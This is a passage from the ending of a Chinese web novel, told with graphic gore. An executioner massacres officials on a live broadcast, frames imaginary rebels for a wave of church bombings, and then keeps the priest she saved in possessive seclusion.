偌大的、人群拥挤、一片混乱的会议厅,在这一刻,声音全部都消失。 直播镜头后,万亿的观众也噤声了。 就像是默片,有人关闭音量开关。 这一瞬间,仿佛所有的事情、所有的人、所有的动作,都静止了。 人们震惊地注视着这一幕,不敢相信、惊愕、痛苦、疯狂…… 金发飞扬,就这样倒在地上。 一片有如实质的死寂。 在场的所有人,目光凝固,颤抖着、缩紧着,缓缓投向同一个方向。 天台的边缘。 火光染红天穹。一阵不知从何处袭来的狂风,扬起少女背后的长发,散开在空中。 而地上,她的脚边,金发蜿蜒在血泊里。殷红的血迹,像涨潮的湖一样漫出来。 刚刚那一声枪响,事发太突然,所有人都没反应过来。 会议厅内的人们忙着躲藏,忙着打开手机,忙着联络,忙着求救,忙着绝望,而当执刑官赶到时,他们还没来得及喜悦——就听到了这一声决绝的枪响。 ……谁? 是谁开的枪? 他们缓慢抬头,于是就看到了这一幕。 高阳如血。 黑发的少女形单影只,身后是模糊不清的都城全景,她俯视脚边的金发神官的尸体,面无表情,一言不发。 她的手里,握着一柄枪。 ——是执刑官。 是她开的枪? 议会的人震惊地愣在原地,随即,他们意识到发生了什么——是执刑官处决了温臻! 这说明什么?这说明她是站在他们这边的! 她履行了她的职责,保护了他们! 虽然没想明白前因后果,但最大的威胁被清扫,劫后余生——他们还怕什么? 他们还有什么好怕的? 议会一名大臣从桌下爬了出来,大高声呼喊:“谢谢你执刑官,你铲除了极端分子——是你救了我们!” 这一起头,剩下人纷纷如梦初醒。 “是啊,多亏执刑官及时赶到,是你救了我们所有人!” “执刑官,这次多亏了你!你拯救了联邦!” “联邦欠你一份情!” 直播的镜头运作,没有一个议员不明白现在是一个挽救民心的绝佳时机,作秀和表演是每一位政客刻在基因里的技能,他们使出了浑身解数,将感激涕零写在脸上。动动嘴皮子就能讨好新救世主并且表明立场的事情何乐而不为? “执刑官——执刑官!”“我们一定要严惩幕后的凶手!”“将该死的幕后推手神殿清算!”“送他们上审判日!” 众人高喊着,混乱中,薛柏寒向下属打了手势,率先退后一步,从门无声无息离开。而长者面色阴沉,虽然是他手下开的枪,但他乐意将杀人功劳推到执刑官身上,现在形式对他们不利。 “执刑官,您简直就是救世——” “啪”。 一个血洞,赫然开在说话人的脑门中心。 直播镜头后的观众倏地凝固。 被击中的是一名议会的大臣,他狂喜的表情还凝固在脸上,随即,带着不可置信,尸体向后仰倒,软塌塌倒地。 林又茉眼睛都没抬,她手臂绷直,拿着枪,手指扣动扳机,就这样崩碎了一个人的脑袋。 血花迸穿,白色的脑浆洒出来,零星几滴,溅到桌面。 原本站在死者身后的议员吓坏了:“执——执刑官,枪走火,您是不是杀错、杀错人——” “啪”。 一个血洞,也赫然开在他的脑门上。 短短两秒寂静,随即尖叫四起。会议厅乱作一团,议员们像无头苍蝇般争相逃窜,疯了一样朝大门蜂拥而去。 “执刑官……执刑官疯了!” “啊!” “杀人了啊!!执刑官杀人了!!” 砰。砰。砰。砰。 一连串枪声轰然炸响,尖叫声戛然而止。 林又茉开枪没有停顿,她眼睛没抬,像背后长了眼睛一样,抬手 ,开枪,准头没有误差,个个一击毙命,脑门、后心、喉咙、后脑,没有一个人逃出枪响。 最后一具尸体倒地,会议室一片死寂。剩下的人或贴着墙站着,或猫着腰躲在桌下,或死死抱住掩体,没有一个人敢再动。 无人说话,会议室像被强制静音了一般,只有人吓哭呜咽,吞咽口水、粗重呼吸,以及死人的鲜血滴落在地板的声音。 没有人知道她为什么开枪,没有人知道那么多个死掉的倒霉鬼到底哪里得罪了她,没有人知道她为什么突然屠杀,更恐怖的是——没有一个人敢去阻止她。 执刑官天生有处决A级公民的权力。她甚至杀人不需要提前给他们理由!就算现在调来狙击手,谁敢在直播镜头前扣动扳机? 温臻的预言在这一刻成了真:她成了救世主——谁还敢、谁还有胆子杀她? 议议员们自顾不暇,谁也不愿当冤大头的出头鸟。神殿刚被揭穿丑恶的交易,更不可能现在妄动。他们一向道德高地自居,又被温臻在沙地上画了条线,现在谁敢下来?! 各人有各人的利益,群龙无首,于是局面竟然陷入了一种诡异的僵持。所有人,惊恐地,注视她。 林又茉仍然立在原地。 她低着头。 一动不动。 她敛眼看着脚边染血的金发,睫毛鸦黑,这样垂下来时,在脸上洒下一片阴翳,半边脸映上橘色的光,这光不断跳跃着,让她的神情变幻莫测。 整个世界的目光都在她身上。 血还在不断往下滴,她的手里,握着,那一枚浸透了血的控制器。 她好像也静止了。 忽地,一阵风刮起,吹过林又茉的衣摆,与此同时——“轰!”遥远而沉闷的爆炸声传来,像从大地深处滚动而出。 直播镜头后的公民们纷纷扬头,有人感到地面轻颤,有人听见了巨响,有人身处火光的正中心—— “轰隆!” 火焰骤然冲天,都城郊外一座教堂突如其来的新爆炸,让所有人都惊骇在原地。 怎么又有爆炸?! 但紧接着—— “轰隆!”、“轰隆!”、“轰隆!”、“轰隆!”…… 接二连三的爆炸声,响起在联邦各地! 各教区外,公民们无数双瞳孔骤缩的眼睛,惊恐地望着一座座矗立百年、千年的教堂在火海中轰然坍塌。 “我们城的教堂炸了……” “我们码头的教堂也炸了!” “坐标西岛,我们中心的教堂已经看不清了……” “这里的教堂也!” 长者再也按捺不住。炸弹的确是他们藏在教堂里,但谁会想到炸弹真会被引爆?! 这样下去,教堂炸完了教会还剩什么?! 一瞬间,联邦的版图像被溅上了火星一般,无数处熊熊燃烧。神殿近乎几所最大的教堂,都付之一炬,损失相当惨重。 世界各地的信徒们、公民们,大张着嘴,看着那些燃烧的教堂,心里怆然、茫然、震惊、恐惧交织。 发生了什么?为什么又会有爆炸?! 难道、难道—— 下一刻,直播的大屏幕里出现了执刑官的脸。 所有人一顿。 少女的脸白皙,精致,脸侧挂着的鲜血刺红,黑发在她身后飞扬。 她直视着直播镜头,这是今天,执刑官头一次正式对民众说话。 “联邦的各位公民——” 声道发出刺耳的共振音,随后,尖锐声音消失,执刑官平静、没有起伏的声音传出来。 联邦的每一个屏幕,都播放着同样的画面,响起同样的声音。 在冲天的火光下、混乱的民众下,冷静、平静的执刑官的话,莫名有一种魔力,注入人们的脑海,令所有人不禁抬首凝视,屏息聆听。 “今天的爆炸案我接到消息,是叛军恐怖袭击的结果。” 她声音平缓,平铺直叙。 “一百多年前的审判日想必各位都熟知。这一次的混乱,就是因为审判日被判死刑的叛军仍然有残余,这一次,是他们企图挑起神殿与议会之间的矛盾,借机扰乱联邦秩序。” “刚刚的爆炸是处决,那些叛军的人已经渗透了许多地点,爆炸,是对已经渗透关键地点的叛军分子的必要处置。但所有的局势都已经在控制中。” “作为执刑官,我会找到叛军的首领,即这次动乱的罪魁祸首,并让他们受到制裁。请相信。” “——以上。” 短短几句话,将今日所有纷乱归咎于外敌来袭。 第三方负责,神殿与议会毫无干系。 当着民众的面,林又茉捏碎了手中的控制器。坚硬的机械在她掌心裂成碎块,碎片簌簌坠落。 那双漆黑的眼抬头看了眼。 随后,画面骤然中断,直播屏幕一片漆黑。 世界各地,一批武装守卫陆续出现,肩上佩戴纪家与执刑官的徽章,包围爆炸过的教堂,稳住人心。 …… 直播关闭,会议厅内的人紧绷的神经终于稍微松懈了一点下来。 但仅仅是稍微一点——长时间的精神高度紧张,让他们甚至没关心林又茉公告里的说辞究竟有多假——什么叛军?哪来的叛军?一百年前的叛军就是假的作秀用的,现在哪来什么叛军! 但事已至此压根没有人想开口辩驳,面子的事不谈,他们脑袋都还别在裤腰带上,这才是生死攸关的大事,谁还关心什么子虚乌有的叛军? 会议室内,没有人敢动。所有人紧张地盯着执刑官的一举一动,大气不敢出。 林又茉垂下眼,头转过来,扫向地面上歪七扭八的尸体。 财政大臣、国防大臣、上将将军、议会秘书……议会的人这次来了一大半,死得所剩无几。 元气大伤。 林又茉迈步走到一处尸体旁,从碎布里捡起了一枚徽章。 那是一枚象征着议会长地位的徽章,刻着联邦标志,在加冕仪式上,由神官给予新上任的议会长。 薛柏寒在逃走时遗漏了。 林又茉将那枚徽章随便一抛,抛给了离得最近的呆若木鸡的能源大臣手中。 “你来做。”她道。 “……什么?” “新任议会长,你来做。” 能源大臣捧着那枚徽章,呆了好一会儿,猛地咕咚咽了口唾沫,才反应过来自己捞到了什么好差事。 “可——” “砰!”林又茉对她脚边开一枪,终止了对话。 能源大臣急忙将徽章抱紧怀里:“我做,我做!!” 她……她成了新任议会长? 滔天的趋势,就这么到手了? 她,名垂青史了?! 没有在乎其他人震惊失措各异的反应,林又茉走向神殿的人。 “叔父。”她叫人。 温家长者一直没动静,此时见她走来,刚随便封了个议会长,立刻挂起长辈般和蔼的笑,向前走去:“执刑官,又茉啊,我们神殿之前一直跟你这孩子有些误会,但你觉得,议会长的位子是不是还是要再商量一下……” 执刑官之前一直没怎么杀在场的神殿的人,应该是对他们还有感情,毕竟从小抚养她到大—— 林又茉抬手一枪把他崩了。 砰!血花四溅,近距离开枪,身体崩飞撞到墙面,脑袋炸出一片汁液。像裂开熟透的瓜,飞溅当场。 “林又茉!那是叔父!你不要太过——” 砰。砰。砰。砰。连续四声枪响,神殿其他几位长辈高层纷纷烂泥一样倒地,墙上溅上四朵血花。 神殿的人吓得魂飞魄散,面如土色。 林又茉弯腰,从长者胸前扯下象征神殿的标志,随手抛给跟在最后的温安。 “教会以后你来负责。” 温安惊叫出声:“我——” 砰的一声,又是一声对天的枪响,戛然而止了对话。 短短几分钟内,议会、神殿两大势力重新洗牌,江山易主。 腥风血雨过后,一个崭新的世界就这样缓缓拉开了帷幕。 会议室内,鸦雀无声。 林又茉没有说话。 她没有再理任何人。 她回身抱起了温臻的尸体,头也不回地离开了房间。 第42章 完结章 第42章 几个月后。 春日。 联邦熬过酷寒的冬天,终于迎来了新年的春日。新的一年气候十分宜人,仿佛连日月潮汐都察觉了新时代的来临,变得格外讨人喜欢起来。 民众的生活也逐渐恢复如常,新的电视、电影、游戏、明星绯闻层出不穷 ,奶头乐永不短缺。他们的注意力很短,很快,就像七秒记忆的金鱼,将目光转向鱼缸外更新鲜的事物。 那一次次的爆炸——是的,在公民的口中,如今已经有了一个统一的称呼:大爆炸日。宇宙的诞生始于一场大爆炸,那么新纪元由爆炸拉开序幕,也再恰当不过。 现在公民们谈及那一天,言语里都颇有种遥远的错位感。那些发生过的事情,回想起来,几乎不真实。 他们用诸如“那一天的爆炸啊,像烟花一场接一场”,“全民直播,你们是没见过,万亿人同时守在同一画面前的场面”,“执刑官的‘权限干扰’,从来不知道可以这么用”等等的言论开头,形容那一天;又在感叹执刑官的所作所为中结尾。 在那一天后,议会和神殿大规模洗牌,高层换血,无数旧的政策被推翻重订。 被炸毁的教堂,由议会出兵、神殿协助,将废墟改建为公民用地,博物馆、公园一座座拔地而起;公民信用点等级制度被沿用,但E级、D级待遇得到重新规划,红灯区强制服役制度被禁用。 新任议会长上任,她自能源大臣晋升,令人惊疑的是,议会内竟然没有任何异议。与此同时,神殿的代言人也变成了曾经负责圣弥亚大教堂的一名年轻神官。 神殿高层进入议会,在政策上握有新的话语权;新血液入驻,两方重修旧好,共同治理联邦。 世界的齿轮仍然在徐徐转动,一切都迈上了正轨—— “要说还有什么大事的话——” 说话的人砸吧了下嘴,冲面前人若有所思地嘿嘿笑, “新举行的一个审判日,算不算?” ** 联邦历321年,2月11日,迎春日前。 时隔半年的新审判日。 这个新审判日由执刑官林又茉发起,审判对象为需要为爆炸日负责的“叛军首领”。 无数公民通过直播观看了那一场审判。 那一天叛军的首领身穿牢服,头戴着麻袋,被强行押至审判庭中央空地。叛军首领双手被束缚,拼命挣扎,发出粗重的“唔唔唔”抗议声,似乎几度愤怒。 “今日的审判对象,是造成大爆炸日一百四十七起爆炸的叛军首领。” “依据《联邦宪律》第十三条,此名罪犯意图挑拨神殿与议会之关系,借权力之争扰乱联邦秩序;其手段极端凶残,竟然在联邦境内制造一百四十七起爆炸事件,导致无数无辜民众伤亡与公共秩序全面动荡,其行径罪恶昭彰,理应受联邦最严厉的制裁……” 冗长的罪名列举完毕,法官严厉开口, “现在我们该如何审判他?” 高台上,穿着黑衣的执刑官林又茉缓缓走出。 “死刑。”她语调平静。 无人反驳。 “下面进行表决。” 审判日举手表决,所有出席的78位A级公民全部举手。 全票通过。无人有异议。 翌日黎明,叛军首领被拖上断头台。 执刑官亲自执刑。 刑场设置在广场高台,好事的公民隔着百米聚集围观。 叛军首领被一盆水泼醒,执刑官林又茉拽住叛军首领的头顶麻袋,叛军首领嘶吼着,但距离太远,没有人能听清。 而林又茉没有表情,她将他的麻袋脑袋向后扯,迫使他仰头。 黎明的清晨阳光透过麻袋。让那人清醒过来。 她嘴唇动了动,说了一句什么。叛军首领忽然凝固了。 事后有好事公民解读唇语,说的是“代价。” ——在那一刻你会记得,你曾经在这一分,这一秒,对我说过这样的话,让我变成了你的敌人。 “——现在,”她说,“你后悔了么?” “我从未后——” 执刑官说完,将刀横起,刀光一抹,将叛军首领的头割了下来。 鲜血喷洒如注,发出哧哧响声,流下台阶。 头颅咚咚咚滚在地上,麻袋染红,洇出血迹。 林又茉放下刀,看都没看地上的头颅,转身离开。 全民欢呼。 至此,对外,执刑官是所有公民的救世主。对内,洗牌后的议会和神殿两方唯执刑官马首是瞻。 执刑官的地位达到了空前的高度。 ** “我至今还记得行刑的那个画面,啧啧啧。” 说话的人不住地啧声,陷入回忆,“执刑官的身手也太狠厉果断了,你说以前,大家都骂她害怕她那会儿,怎么就没发现她那么酷?” “现在还有很多人收集刽子手——呸呸呸,以前叫习惯了,得改过来——收集她以前的报道,收藏她的照片。越来越觉得佩服。冒天下之大不韪伸张法律正义,得受多少阻碍啊。” “现在回看她以前那么多处决事迹,这么有魄力,不愧是救世主……” 问话的人沉默了片刻,长长地“噢”了一声,墨镜遮住了他的脸,“原来是这样。” “是啊。欸,对了这么多事你怎么会不知道?爆炸日这么大的事情,整个联邦人尽皆知啊。” 咖啡店店员疑惑地问道,将做好的咖啡放在柜台上。 “我嘛。我前一段时间失恋,所以去小岛散心了,所以知道的消息有延后性。”接过咖啡的人弯唇笑了,他的金发用夹子挽在脑后,笑起来时,耳边的金色碎发拂动,“岛上嘛,本来也没什么人,更没什么人八卦。”他也没有打听。 他顿了顿,“不过你刚刚说,审判日的审判对象,是……叛军首领?” 店员点头:“是啊,就是爆炸日的罪魁祸首。听说是一百年前联邦遭袭的叛军余孽卷土重来。你没听说过?” 金发男人停顿了片刻,笑:“那当然是听过。” 只不过,叛军根本就不存在。 更别提叛军首领。 一百年前那场所谓叛军清算,只不过是场表演。这件事情,只有联邦高等级的一小部分公民知晓。他得知也算是机缘巧合。 不过,也不必要深究。 金发男人抬抬杯子,留下一笔不菲的小费:“谢谢你的咖啡。” “哎。等等,你是不是有点像那个大明星,前段时间退圈那个——”店员终于想起来,连忙呼出声,但对方已经推门出去,身影消失在门外。 …… 季相兰回到了都城中心高级公寓的家中。 阔别几个月,推开门,一切陈设还是熟悉又陌生。 依然空空荡荡。 他将咖啡放至一边的台子上,摇了摇头,笑。 什么叛军首领审判啊。 肯定就是给这场爆炸日找了个替罪羊,用来顶包。 那么大的事故,肯定既不能推到议会,也不能推到神殿上——祭出个莫须有的第三方“叛军”,是最好的办法。 不愧是他的小朋友呢,能想到这么好的对策。 就是那替罪羊倒霉蛋是谁呢? 季相兰将墨镜摘下,将脑袋后的发夹松开,一头长长的金发便披散下来,他拿起咖啡杯,慢悠悠地走进室内。 茶几桌上放着不大不小几个包裹。是他的私人管家在他不在的这段时间替他打理屋子 ,顺便收发快递,签收的包裹。 季相兰最近不在都城,没买多少东西。 他啜着咖啡,打开了投影屏幕,找出当初爆炸日的直播回放播放,一边悠悠闲闲拿着小刀开包裹。 高级公寓质感极佳,偌大的屏幕映出当时谈判天台上的场景。 季相兰看得极为认真,手下动作缓慢,在看到执刑官和温臻神官站得极近手指相握对峙的场面时,他眼神闪了下。 看到温臻缓缓倒下时,他动作变缓。 之后是长久的爆炸、寂静、混乱,而当执刑官的脸出现在屏幕上时,季相兰手一抖,小刀的刀刃划破手指,血珠沁了出来。 “……作为执刑官,我会找到叛军的首领,即这次动乱的罪魁祸首,并让他受到制裁。” 黑发少女没有表情,嗓音平静、清晰。 随即,她当着联邦的面,捏碎了那枚控制器。 季相兰怔愣地看了好一会儿,荧幕的色彩在他脸上映出交错的光影,才缓缓低下头。 食指被割伤,伤口挺深,需要包扎。但季相兰目光慢慢移到了一旁拆了一半的包裹上。 这一个包裹,长得不一样。 他将包裹翻过来,标签上没有写收件人、寄件人,只有—— 只有印着的一朵茉莉。 季相兰呼吸突然开始急促起来,他的心脏砰砰跳动,他没有在乎滴血的手指,颤抖地将包裹径直撕开。又翻找了半天,没有留言,但里面放着一个盒子。 他盯着它,指尖发抖。终于——哗地一声打开。他手下意识松了,盒子啪嗒掉在茶几上。 里面的东西滚了出来。 ——是一枚眼球。 一枚灰色的眼球。 灰是极冷的灰,但因为瞳孔涣散,显得麻木空洞。 它被保存完好,做成标本,送到他手上。 像……一份迟来的礼物。 季相兰心乱如麻,过了许久,才抬起头,屏幕上的直播已经切换到了新审判日当天的行刑画面。 林又茉拽住那个人的脑袋,干脆利落地割掉首级,鲜血顿时喷洒而出。 …… 季相兰忽然明白了那个叛军首领是谁。 他手撑在桌面上,胸前起伏,气息急促。过了会儿,过了好一会儿——等他把前因后果想明白,把他们俩快一年前的对话想了遍,他才终于气音一般笑了声出来。 “真是……真是……小混蛋。” 笑着笑着,他喃喃道,“原来还记得……还记得我的话啊。” 这让他怎么能忘记她? 那只他心目中流浪的漂亮猫猫,还是给他送来了约定的小礼物。 …… ** 这几个月内,联邦发生天翻地覆的变化,仿佛一夜之间,世界被更迭了,一切迎来了新的时代,所有人或主动或被迫,接受了新的秩序,新的常规。 而在这无数巨大的变化之中,有一件事,刻意地被所有人忽略了。 神官温臻。 有人说他是叛军的一员,有人说他是恐怖分子,有人说他只不过是被蒙骗,有人说他受到了胁迫,做出那一切都是迫不得已,他毕竟没有真的毁灭世界——但无论如何,到事件结束最后,官方都没有出面给出一个最终的答案。 公民们也不约而同地强行忽略掉了这件事。 毕竟,神官死了,他已经死了——那么,一切,都已经过去了。 他们不想去深究他的罪行。 所有的爱与恨都在一天内消磨殆尽,随着他的死亡流逝,那一天发生的事情太快、太突然,他们的爱还没结束,恨还没燃起,一切都已经如大厦倾颓。这是一个如此复杂的人,而他们也想要退出那一片他内心的自留地。 就让时间替他们遗忘吧。 一百年后,三百年后,属于他的记忆终将沉入尘土。 新审判日后不久,世界新貌重回正轨,执刑官休了长假。 她的身影,随之从人们的视线里消失。 …… …… …… 春日来临,草长莺飞。 阳光和软,淡淡的光晕漂浮在花园里,小巧的白色蝴蝶纷飞,都城的春日总是与酷寒的严冬不同,一切都软化、柔软下来,像泡过的奶油甜饼干,让人不禁想起最美好的事物。 静谧、美好。 空气中弥漫着青草的气味,花朵的香气,耳边传来清脆遥远的鸟啼声,仿佛这里,与那钢筋铁柱的现代都市完全隔绝了。 阳光透过透明的窗子映进来,洒进窗台,淡色的纱帘被风吹拂,一晃一晃,流苏轻轻扫在地板上。 洁白的被褥、枕头、床单笼在晨光里。仪器的声音偶尔规律地响起,将生命体征数据化。 浅金色的睫毛轻轻颤了颤。 在长久的昏迷后,他醒了过来。 他闻到了花香,听到了鸟鸣,也感受到阳光洒在身上的暖意。 不远处传来脚步声。他慢慢转过头,转向声音来源的地方。 她停在床前一段距离。 林又茉看着他。 靠卧在床上的人,手背上连着点滴,身上插着仪管,面容苍白、削瘦,金发如瀑蜒延而下。 但那五官的美丽,反而依旧艳艳惊人。只要见过一面,就难以忘记。 她已经不知道在那里站了多久。 天光明媚、亮丽,落进那一双没有焦距的绿眸里。 但就算这样,温臻仍然翘了唇角,莞尔。 他似乎知道是她,只是这么抿唇笑着,很柔和。 过了许久,林又茉才走近上前。 “哥哥醒了。”她说道。 温臻没忍住唇角上翘了些,温柔笑说:“我是死了吗。” 嗓音沙哑,缓慢,带着轻轻的咳嗽。 林又茉没回答。 温臻也没恼,他虽然看不见,但是仍然这样温和地笑,对着她的方向。 他身上穿着病人用的白衣,领口微微散开,白皙的皮肤上露出一道狰狞的枪伤伤疤。 林又茉看了他许久,才说, “哥哥听说过,生物药剂吗。” 在谈判日前一个月,林家的医生曾经来南城为他诊断时,怕他被玩死,留下过一管生物药剂。林又茉带在了身上。 击中温臻的子弹穿过心脏冠状动脉主干,几乎当场毙命,但就在那一瞬间,林又茉本能拿起生物药剂的针管,扎进了他的身体。 生死在神明的一念之间,最终,天平——堪堪倒向了他这边。 就算这样,在那一天后,他也足足昏迷躺了几个月。 温臻呼吸轻微,他听完怔了许久,才弯了弯眼,说:“是吗。” 从来没有信过神的神官,在最后一刹那,成了命运的幸存者。 而救他命的也并不是神。 林又茉说:“但是寿命会缩短。” 温臻:“多短?” 林又茉静了一会儿说:“三天五个小时十二分四十六秒。” 温臻没忍住,轻轻笑出了声。 金发美人的脸微微侧了侧,他这样笑,室内仿佛都亮起来,“又茉会说冷笑话了啊。” 真是好冷的笑话。 生物药剂要是只有这点副作用,早变成流通的大路货了。 何况他天生药罐,副作用只会更重。估计没剩下几年。 胸骨仍然作痛,毕竟受伤的是心脏,但温臻忽然感觉轻松。 他背负的那一切东西,忽然消失的轻松。仿佛心脏的那一枪,带走的是他二十年来要算计的、要承担的、要负责的一切计划。而现在……一切都结束了。 他的心忽然轻了。 他没有问现在的时间,没有问他在哪里,也没有问发生了什么,后果是什么。 又茉还平平安安在他面前,于是温臻想要的一切,就在这里了。 温臻笑,道:“那又茉准备怎么办呢?” 林又茉说:“没关系,就算哥哥寿命缩短很多,我会把哥哥冻起来,等到新技术出来再解冻。” 温臻又笑,他其实总是喜欢笑,但神殿总让他克制着,他忍不住笑盈盈道,“冻着呀。” “嗯。”林又茉说,“如果新技术没出来,就一直冻着,然后再解冻,再冻着,直到哥哥的伤稳定为止。” “好像冰柱新娘……”温臻本来还想笑着再说些什么,忽然听到林又茉的下一句话: “所以哥哥会跟我一起活很久。” 他怔住了。 温臻过了许久,才轻轻地抿了下唇。 林又茉说:“如果这次哥哥再抛下我,再骗我一次,我会亲手杀了你。” 心里酸涩感涌出来,像有什么,从被开的那个洞中涌涌出来。 那些陌生的,温臻不敢放任自己去想、去体会的情绪,二十 年以来,第一次,毫无阻挡地袭入他的身体。 “又茉……”他嗓音发涩。床单上的手茫然地向前伸了伸。 “在外界,温臻这个人已经死了。” “所有人都知道神官死了,你的身份、名字、记录都被销毁。现在,哥哥除了在这里,没有别的地方可去。” “除了我,哥哥没有人可以依赖。你只剩下我了。” 林又茉敛眼看他,她看着他那双深绿色失焦的眼睛,他金色的长发,他玫瑰色的唇。 那一阵淡淡的鸢尾花香,从她出生、幼时,到现在,一直陪伴在她身边。 她会把它牢牢握在手里。 “从此以后,哥哥真的是我的东西了。” 房间里安静了片刻。 良久,温臻点头,他轻哑说: “嗯,我知道。” “哥哥不能再出门。” “嗯。” “不能再跟别人说话。” “嗯。” “不能违抗我的命令。” 他笑了:“嗯。” 他张开双臂,少女缩进他怀里,靠向他胸膛,温臻垂下脸,慢慢抬起手,抚摸她的发顶。 二十年前,他在神殿的台阶上捡起又茉。她那么小,软软一团,依偎在他怀里。 或许从那时起,她早就变成了他身体的一部分。他拼了命也要保护她,她离开他也无法再存活。他们就这样扭曲地纠缠,痛恨,疏远,背叛,却也是爱。 却也是爱。 每一分,每一秒,下一个小时,下一个刻钟,明天,后天,新年,未来——永永远远,永永远远。 直到他们共同死去。 【正文完】